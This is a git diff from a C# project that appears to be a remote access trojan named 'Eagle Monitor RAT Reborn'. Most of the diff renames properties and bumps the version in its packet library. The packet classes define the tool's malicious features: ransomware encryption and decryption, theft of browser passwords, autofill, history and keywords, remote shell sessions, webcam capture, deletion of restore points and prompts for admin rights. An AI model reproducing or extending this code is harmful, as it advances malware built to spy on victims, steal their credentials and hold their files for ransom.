Access Tool/Utils/PacketLib/Packet/Process/ProcessManagerPacket.cs index a4a1b392..1c21ce74 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessManagerPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessManagerPacket.cs @@ -24,27 +24,27 @@ public class ProcessManagerPacket : IPacket { public ProcessManagerPacket() : base() { - this.packetType = PacketType.PM_GET_PROCESSES; + this.PacketType = PacketType.PM_GET_PROCESSES; } public ProcessManagerPacket(List processes, string baseIp, string HWID) : base() { - packetType = PacketType.PM_GET_PROCESSES; - this.baseIp = baseIp; + PacketType = PacketType.PM_GET_PROCESSES; + this.BaseIp = baseIp; this.HWID = HWID; this.processes = processes; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public List processes { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Process/ResumeProcessPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Process/ResumeProcessPacket.cs index f1948d84..ac3e2812 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Process/ResumeProcessPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Process/ResumeProcessPacket.cs @@ -14,7 +14,7 @@ public class ResumeProcessPacket : IPacket //server public ResumeProcessPacket(int processId, string processName, int rowIndex) : base() { - this.packetType = PacketType.PM_RESUME_PROCESS; + this.PacketType = PacketType.PM_RESUME_PROCESS; this.processId = processId; this.processName = processName; @@ -24,8 +24,8 @@ public ResumeProcessPacket(int processId, string processName, int rowIndex) : ba //client public ResumeProcessPacket(bool resumed, int processId, string processName, int rowIndex, string baseIp, string HWID) : base() { - this.packetType = PacketType.PM_RESUME_PROCESS; - this.baseIp = baseIp; + this.PacketType = PacketType.PM_RESUME_PROCESS; + this.BaseIp = baseIp; this.HWID = HWID; this.resumed = resumed; @@ -35,13 +35,13 @@ public ResumeProcessPacket(bool resumed, int processId, string processName, int } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public int rowIndex { get; set; } public string processName { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Process/SuspendProcessPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Process/SuspendProcessPacket.cs index 33fbbe39..5f8aa8b0 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Process/SuspendProcessPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Process/SuspendProcessPacket.cs @@ -14,7 +14,7 @@ public class SuspendProcessPacket : IPacket //server public SuspendProcessPacket(int processId, string processName, int rowIndex) : base() { - this.packetType = PacketType.PM_SUSPEND_PROCESS; + this.PacketType = PacketType.PM_SUSPEND_PROCESS; this.processId = processId; this.processName = processName; @@ -24,8 +24,8 @@ public SuspendProcessPacket(int processId, string processName, int rowIndex) : b //client public SuspendProcessPacket(bool suspended, int processId, string processName, int rowIndex, string baseIp, string HWID) : base() { - this.packetType = PacketType.PM_SUSPEND_PROCESS; - this.baseIp = baseIp; + this.PacketType = PacketType.PM_SUSPEND_PROCESS; + this.BaseIp = baseIp; this.HWID = HWID; this.suspended = suspended; @@ -35,13 +35,13 @@ public SuspendProcessPacket(bool suspended, int processId, string processName, i } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public int rowIndex { get; set; } public string processName { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareConfirmationPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareConfirmationPacket.cs index d5ba00f3..bc2eee21 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareConfirmationPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareConfirmationPacket.cs @@ -12,21 +12,21 @@ public class RansomwareConfirmationPacket : IPacket { public RansomwareConfirmationPacket(PacketType packetType, string results, string baseIp, string HWID) : base() { - this.packetType = packetType; + this.PacketType = packetType; this.results = results; - this.baseIp = baseIp; + this.BaseIp = baseIp; this.HWID = HWID; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string results { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareDecryptionPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareDecryptionPacket.cs index 8f12314a..9bd67e18 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareDecryptionPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareDecryptionPacket.cs @@ -14,18 +14,18 @@ public class RansomwareDecryptionPacket : IPacket public RansomwareDecryptionPacket(string privateRSAServerKey) : base() { - this.packetType = PacketType.RANSOMWARE_DECRYPTION; + this.PacketType = PacketType.RANSOMWARE_DECRYPTION; this.privateRSAServerKey = privateRSAServerKey; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public Algorithm algorithm { get; set; } public bool isBlockCipher { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareEncryptionPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareEncryptionPacket.cs index 6dbe4e3f..d42abdf7 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareEncryptionPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareEncryptionPacket.cs @@ -13,12 +13,12 @@ public class RansomwareEncryptionPacket : IPacket { public RansomwareEncryptionPacket(PacketType packetType) : base() { - this.packetType = packetType; + this.PacketType = packetType; } public RansomwareEncryptionPacket(string publicRSAServerKey, List paths, bool subDirectories, bool checkExtensions) : base() { - this.packetType = PacketType.RANSOMWARE_ENCRYPTION; + this.PacketType = PacketType.RANSOMWARE_ENCRYPTION; this.publicRSAServerKey = publicRSAServerKey; this.paths = paths; this.subDirectories = subDirectories; @@ -26,13 +26,13 @@ public RansomwareEncryptionPacket(string publicRSAServerKey, List paths, } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string publicRSAServerKey { get; set; } public List paths { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Recovery/AutofillPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Recovery/AutofillPacket.cs index ee313cca..a1a2097a 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Recovery/AutofillPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Recovery/AutofillPacket.cs @@ -14,28 +14,28 @@ public class AutofillPacket : IPacket //server public AutofillPacket() : base() { - packetType = PacketType.RECOVERY_AUTOFILL; + PacketType = PacketType.RECOVERY_AUTOFILL; } //client public AutofillPacket(List autofill, string baseIp, string HWID) : base() { - packetType = PacketType.RECOVERY_AUTOFILL; - this.baseIp = baseIp; + PacketType = PacketType.RECOVERY_AUTOFILL; + this.BaseIp = baseIp; this.HWID = HWID; this.autofillList = autofill; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public List autofillList { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Recovery/HistoryPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Recovery/HistoryPacket.cs index e2bf9cd2..f55a75e7 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Recovery/HistoryPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Recovery/HistoryPacket.cs @@ -14,28 +14,28 @@ public class HistoryPacket : IPacket //server public HistoryPacket() : base() { - packetType = PacketType.RECOVERY_HISTORY; + PacketType = PacketType.RECOVERY_HISTORY; } //client public HistoryPacket(List history, string baseIp, string HWID) : base() { - packetType = PacketType.RECOVERY_HISTORY; - this.baseIp = baseIp; + PacketType = PacketType.RECOVERY_HISTORY; + this.BaseIp = baseIp; this.HWID = HWID; this.historyList = history; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public List historyList { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Recovery/KeywordsPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Recovery/KeywordsPacket.cs index 9f01d66d..9d37685f 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Recovery/KeywordsPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Recovery/KeywordsPacket.cs @@ -14,27 +14,27 @@ public class KeywordsPacket : IPacket //server public KeywordsPacket() : base() { - packetType = PacketType.RECOVERY_KEYWORDS; + PacketType = PacketType.RECOVERY_KEYWORDS; } //client public KeywordsPacket(List keywords, string baseIp, string HWID) : base() { - packetType = PacketType.RECOVERY_KEYWORDS; - this.baseIp = baseIp; + PacketType = PacketType.RECOVERY_KEYWORDS; + this.BaseIp = baseIp; this.HWID = HWID; this.keywordsList = keywords; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public List keywordsList { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Recovery/PasswordsPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Recovery/PasswordsPacket.cs index 4b34db2e..31ceb689 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Recovery/PasswordsPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Recovery/PasswordsPacket.cs @@ -14,28 +14,28 @@ public class PasswordsPacket : IPacket //server public PasswordsPacket() : base() { - packetType = PacketType.RECOVERY_PASSWORDS; + PacketType = PacketType.RECOVERY_PASSWORDS; } //client public PasswordsPacket(List passwords, string baseIp, string HWID) : base() { - packetType = PacketType.RECOVERY_PASSWORDS; - this.baseIp = baseIp; + PacketType = PacketType.RECOVERY_PASSWORDS; + this.BaseIp = baseIp; this.HWID = HWID; this.passwordsList = passwords; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public List passwordsList { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Recovery/RecoveryPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Recovery/RecoveryPacket.cs index 99be2d58..e4cea66d 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Recovery/RecoveryPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Recovery/RecoveryPacket.cs @@ -7,16 +7,16 @@ public class RecoveryPacket : IPacket { public RecoveryPacket() : base() { - this.packetType = PacketType.RECOVERY_ALL; + this.PacketType = PacketType.RECOVERY_ALL; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Shell/NewCommandShellSessionPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Shell/NewCommandShellSessionPacket.cs index 9a8c1aeb..89e1e900 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Shell/NewCommandShellSessionPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Shell/NewCommandShellSessionPacket.cs @@ -12,18 +12,18 @@ public class NewCommandShellSessionPacket : IPacket { public NewCommandShellSessionPacket(string shellCommand) : base() { - this.packetType = PacketType.SHELL_COMMAND; + this.PacketType = PacketType.SHELL_COMMAND; this.shellCommand = shellCommand; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string shellCommand { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Shell/StartShellSessionPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Shell/StartShellSessionPacket.cs index fc212652..afab6003 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Shell/StartShellSessionPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Shell/StartShellSessionPacket.cs @@ -12,18 +12,18 @@ public class StartShellSessionPacket : IPacket { public StartShellSessionPacket(bool isPWS) : base() { - this.packetType = PacketType.SHELL_START; + this.PacketType = PacketType.SHELL_START; this.isPWS = isPWS; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public bool isPWS { get; set; } } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Shell/StdOutShellSessionPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Shell/StdOutShellSessionPacket.cs index 4373191b..f5b96278 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Shell/StdOutShellSessionPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Shell/StdOutShellSessionPacket.cs @@ -12,18 +12,18 @@ public class StdOutShellSessionPacket : IPacket { public StdOutShellSessionPacket(string shellStdOut) : base() { - this.packetType = PacketType.SHELL_COMMAND; + this.PacketType = PacketType.SHELL_COMMAND; this.shellStdOut = shellStdOut; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string shellStdOut { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Shell/StopShellSessionPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Shell/StopShellSessionPacket.cs index 3f9c4e4c..0d0f12e8 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Shell/StopShellSessionPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Shell/StopShellSessionPacket.cs @@ -12,16 +12,16 @@ public class StopShellSessionPacket : IPacket { public StopShellSessionPacket() : base() { - this.packetType = PacketType.SHELL_STOP; + this.PacketType = PacketType.SHELL_STOP; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/UAC/AskAdminRightsPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/UAC/AskAdminRightsPacket.cs index 44292200..35c7c358 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/UAC/AskAdminRightsPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/UAC/AskAdminRightsPacket.cs @@ -12,16 +12,16 @@ public class AskAdminRightsPacket : IPacket { public AskAdminRightsPacket() : base() { - this.packetType = PacketType.MISC_ASK_ADMIN_RIGHTS; + this.PacketType = PacketType.MISC_ASK_ADMIN_RIGHTS; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/UAC/DeleteRestorePointPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/UAC/DeleteRestorePointPacket.cs index 7c84d3e1..773fb51d 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/UAC/DeleteRestorePointPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/UAC/DeleteRestorePointPacket.cs @@ -13,7 +13,7 @@ public class DeleteRestorePointPacket : IPacket //server public DeleteRestorePointPacket(int index) : base() { - packetType = PacketType.UAC_DELETE_RESTORE_POINT; + PacketType = PacketType.UAC_DELETE_RESTORE_POINT; this.index = index; } @@ -21,8 +21,8 @@ public DeleteRestorePointPacket(int index) : base() //client public DeleteRestorePointPacket(int index, bool deleted, string baseIp, string HWID) : base() { - packetType = PacketType.UAC_DELETE_RESTORE_POINT; - this.baseIp = baseIp; + PacketType = PacketType.UAC_DELETE_RESTORE_POINT; + this.BaseIp = baseIp; this.HWID = HWID; this.index = index; @@ -30,13 +30,13 @@ public DeleteRestorePointPacket(int index, bool deleted, string baseIp, string H } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public int index { get; set; } public bool deleted { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/UAC/RestorePointPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/UAC/RestorePointPacket.cs index 10bd4b8a..2af01eb5 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/UAC/RestorePointPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/UAC/RestorePointPacket.cs @@ -31,27 +31,27 @@ public class RestorePointPacket : IPacket { public RestorePointPacket() : base() { - this.packetType = PacketType.UAC_GET_RESTORE_POINT; + this.PacketType = PacketType.UAC_GET_RESTORE_POINT; } public RestorePointPacket(List restorePoints, string baseIp, string HWID) : base() { - packetType = PacketType.UAC_GET_RESTORE_POINT; - this.baseIp = baseIp; + PacketType = PacketType.UAC_GET_RESTORE_POINT; + this.BaseIp = baseIp; this.HWID = HWID; this.restorePoints = restorePoints; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public List restorePoints { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/WebCam/RemoteCameraCapturePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/WebCam/RemoteCameraCapturePacket.cs index f0127591..edacb2a9 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/WebCam/RemoteCameraCapturePacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/WebCam/RemoteCameraCapturePacket.cs @@ -12,24 +12,24 @@ public class RemoteCameraCapturePacket : IPacket { public RemoteCameraCapturePacket(PacketType packetType) : base() { - this.packetType = packetType; + this.PacketType = packetType; } public RemoteCameraCapturePacket(byte[] cameraCapture) : base() { - this.packetType = PacketType.RC_CAPTURE_ON; + this.PacketType = PacketType.RC_CAPTURE_ON; this.cameraCapture = cameraCapture; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public int quality { get; set; } public int index { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/WebCam/RemoteCameraPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/WebCam/RemoteCameraPacket.cs index ee10785c..c6bae438 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/WebCam/RemoteCameraPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/WebCam/RemoteCameraPacket.cs @@ -13,26 +13,26 @@ public class RemoteCameraPacket : IPacket { public RemoteCameraPacket() : base() { - this.packetType = PacketType.RC_GET_CAM; + this.PacketType = PacketType.RC_GET_CAM; } public RemoteCameraPacket(List cameras, string baseIp, string HWID) : base() { - this.packetType = PacketType.RC_GET_CAM; - this.baseIp = baseIp; + this.PacketType = PacketType.RC_GET_CAM; + this.BaseIp = baseIp; this.HWID = HWID; this.cameras = cameras; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public List cameras { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/PacketLib.csproj b/Remote Access Tool/Utils/PacketLib/PacketLib.csproj index 35d2c6cb..9096f456 100644 --- a/Remote Access Tool/Utils/PacketLib/PacketLib.csproj +++ b/Remote Access Tool/Utils/PacketLib/PacketLib.csproj @@ -46,6 +46,7 @@ + diff --git a/Remote Access Tool/Utils/PacketLib/Properties/AssemblyInfo.cs b/Remote Access Tool/Utils/PacketLib/Properties/AssemblyInfo.cs index 6126e0e5..f7e73dad 100644 --- a/Remote Access Tool/Utils/PacketLib/Properties/AssemblyInfo.cs +++ b/Remote Access Tool/Utils/PacketLib/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("3.2.3.0")] -[assembly: AssemblyFileVersion("3.2.3.0")] +[assembly: AssemblyVersion("3.2.4.0")] +[assembly: AssemblyFileVersion("3.2.4.0")] diff --git a/Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.csproj.AssemblyReference.cache b/Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.csproj.AssemblyReference.cache index 8125210a805c72772a96a47ac22c31ac03141610..933dd6187aee87f7beb758d14b3c1075a2daed9e 100644 GIT binary patch literal 3664 zcmcInO>fgM81~D@C>?`UAR#0UJ%WU+p$#;4L8GM-h)t+PgG12drf#w7*u{1!-DPKv z{1a~c5)Rz>ClIH}(zFp$6vwAHPM*B)`#kSQHsBgU2u@oE-diO{iUiFL<5V{veBFQg z(CgA6RaE%2d8joF`kYbi9Wh@?Er-VIgwNBNRAUbxzkHYOzU<*AUZ8!cIP2p9=K$eX z(BL+x?cX&NZQyEn=Z26fU;{z0;FC?e5kr6JdSI`khs1Ck9VDCR1nS|JcJS`b?&D_& zcm+;e_=-=Mo)Z3oXy)g5blpY~pq4ldSFFQ13(n)4Q4kQ+!tKv9@8sUzpKsAgh_ca} zYeR!l7>xx6Zqo^u^MDFd2=2%8)APo!`axpSofz&t69YNZxD!&P3n8vLnHYFP1R2rN z25!a%wxpt^?79^LeF!*y!^G!OU^f#M6qzwGDulI4!QB|EI~9fn6nAMLO;OM+3zpsG z90J(NBywc0&C|c}0t6o`$gf)T1wVY7f=HN`$E<$}j7IG#v@GGGW37dD3Ubb4b z8fgc8-SZWj7^qt!a#mhz%);51mg^OQadix4T3t%w_x7d55M$kNMxx6`k#w*g^{0xN zc`5!}sB7!c_o>#b&v;pLT-O8uH#Hm}nP(ggT+Zg1M=N7Pk19quJBzwsG{+HRsM5G6 w$)to-)^oF8U2fVbFHOmd{|Y;*I7>+v%6FQIu9TV>bvzA1E%;@|_%+i10Wdd=6#xJL delta 63 zcmca0vygp4DH8+3#C@H73=E81WhQzCdd3FEhL)2JSn?*fv9?Tp$JRc114q|nAD%{j HR3!`mN$n9i diff --git a/Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.csproj.CoreCompileInputs.cache b/Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.csproj.CoreCompileInputs.cache index 51951498..442bfa2c 100644 --- a/Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.csproj.CoreCompileInputs.cache +++ b/Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.csproj.CoreCompileInputs.cache @@ -1 +1 @@ -037e28670f94ac289d24e9c58aeaa7ef75f86436 +0e2a4cfe43dd39038dcb0f3fd98e4b56d20503f6 diff --git a/Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.csproj.FileListAbsolute.txt b/Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.csproj.FileListAbsolute.txt index 6f0df64e..45ce3faa 100644 --- a/Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.csproj.FileListAbsolute.txt +++ b/Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.csproj.FileListAbsolute.txt @@ -42,10 +42,10 @@ F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Stubs\PacketLib.dll E:\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.dll +F:\$$$$$\Eagle Monitor RAT Reborn\Utils\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache +F:\$$$$$\Eagle Monitor RAT Reborn\Utils\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache +F:\$$$$$\Eagle Monitor RAT Reborn\Utils\PacketLib\obj\Release\PacketLib.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Stubs\PacketLib.dll E:\$$$$$\Eagle Monitor RAT 